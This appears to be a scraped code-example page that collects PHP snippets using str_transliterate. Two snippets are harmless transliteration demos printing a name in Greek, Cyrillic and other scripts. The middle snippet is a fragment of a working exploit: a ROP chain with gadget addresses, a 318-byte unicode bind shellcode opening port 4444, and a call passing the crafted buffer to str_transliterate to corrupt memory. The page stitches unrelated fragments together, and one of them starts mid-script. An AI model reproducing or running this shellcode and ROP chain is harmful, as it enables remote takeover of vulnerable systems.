<?php

$me = 'Larry Ullman';
$scripts = array('Greek', 'Cyrillic', 'Hebrew', 'Arabic', 'Hangul');
foreach ($scripts as $script) {
    echo "{$me} is " . str_transliterate($me, 'Latin', $script) . " in {$script}.\n";
}
echo "{$me} is " . transliterator_transliterate("Latin-{$script}", $me) . " in {$script}.\n";
Esempio n. 2
0
    $rop .= "\\u10AD\\u6FC3";
    // INC EAX/RETN                                         6FC310AD
    $rop .= "\\u10AD\\u6FC3";
    // INC EAX/RETN                                         6FC310AD
    $rop .= "\\u10AD\\u6FC3";
    // INC EAX/RETN                                         6FC310AD
    $rop .= "\\u10AD\\u6FC3";
    // INC EAX/RETN                                         6FC310AD
    $rop .= "\\u10AD\\u6FC3";
    // INC EAX/RETN                                         6FC310AD
    $rop .= "\\u2C63\\u6FC5";
    // XCHG EAX,ESP/RETN                                    6FC52C63
    // unicode bind shellcode port 4444, 318 bytes
    $sh = "\\u6afc\\u4deb\\uf9e8\\uffff\\u60ff\\u6c8b\\u2424\\u458b\\u8b3c\\u057c\\u0178\\u8bef\\u184f\\u5f8b" . "\\u0120\\u49eb\\u348b\\u018b\\u31ee\\u99c0\\u84ac\\u74c0\\uc107\\u0dca\\uc201\\uf4eb\\u543b\\u2824" . "\\ue575\\u5f8b\\u0124\\u66eb\\u0c8b\\u8b4b\\u1c5f\\ueb01\\u2c03\\u898b\\u246c\\u611c\\u31c3\\u64db" . "\\u438b\\u8b30\\u0c40\\u708b\\uad1c\\u408b\\u5e08\\u8e68\\u0e4e\\u50ec\\ud6ff\\u5366\\u6866\\u3233" . "\\u7768\\u3273\\u545f\\ud0ff\\ucb68\\ufced\\u503b\\ud6ff\\u895f\\u66e5\\ued81\\u0208\\u6a55\\uff02" . "\\u68d0\\u09d9\\uadf5\\uff57\\u53d6\\u5353\\u5353\\u5343\\u5343\\ud0ff\\u6866\\u5c11\\u5366\\ue189" . "\\u6895\\u1aa4\\uc770\\uff57\\u6ad6\\u5110\\uff55\\u68d0\\uada4\\ue92e\\uff57\\u53d6\\uff55\\u68d0" . "\\u49e5\\u4986\\uff57\\u50d6\\u5454\\uff55\\u93d0\\ue768\\uc679\\u5779\\ud6ff\\uff55\\u66d0\\u646a" . "\\u6866\\u6d63\\ue589\\u506a\\u2959\\u89cc\\u6ae7\\u8944\\u31e2\\uf3c0\\ufeaa\\u2d42\\u42fe\\u932c" . "\\u7a8d\\uab38\\uabab\\u7268\\ub3fe\\uff16\\u4475\\ud6ff\\u575b\\u5152\\u5151\\u016a\\u5151\\u5155" . "\\ud0ff\\uad68\\u05d9\\u53ce\\ud6ff\\uff6a\\u37ff\\ud0ff\\u578b\\u83fc\\u64c4\\ud6ff\\uff52\\u68d0" . "\\uceef\\u60e0\\uff53\\uffd6\\ud0d0\\u4142\\u4344\\u4142\\u4344\\u4142\\u4344\\u4142\\u4344";
    $exploit = $buff . $ret . $wpm . $wpmargs . $nops . $sh . $rop;
    str_transliterate(0, $exploit, 0);
} else {
    exit("Error! 'unicode.semantics' has be on!\r\n");
}
function ini_get_bool($a)
{
    $b = ini_get($a);
    switch (strtolower($b)) {
        case 'on':
        case 'yes':
        case 'true':
            return 'assert.active' !== $a;
        case 'stdout':
        case 'stderr':
            return 'display_errors' === $a;
        default:
Esempio n. 3
0
<?php header ('Content-Type: text/html; charset=UTF-8'); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
	<meta http-equiv="content-type" content="text/html; charset=utf-8" />
	<title>Transliteration</title>
</head>
<body style="font-size: 18pt;">
<em>What's my name?</em>
<?php # Script 14.4 - trans.php

// Your name:
$me = 'Larry Ullman';

// Create an array of scripts:
$scripts = array('Greek', 'Cyrillic', 'Hebrew', 'Arabic', 'Hangul');

// Loop through each script:
foreach ($scripts as $script) {
	echo "<p>$me is " . str_transliterate($me, 'Latin', $script) . " in $script.</p>\n";
}

?>
</body>
</html>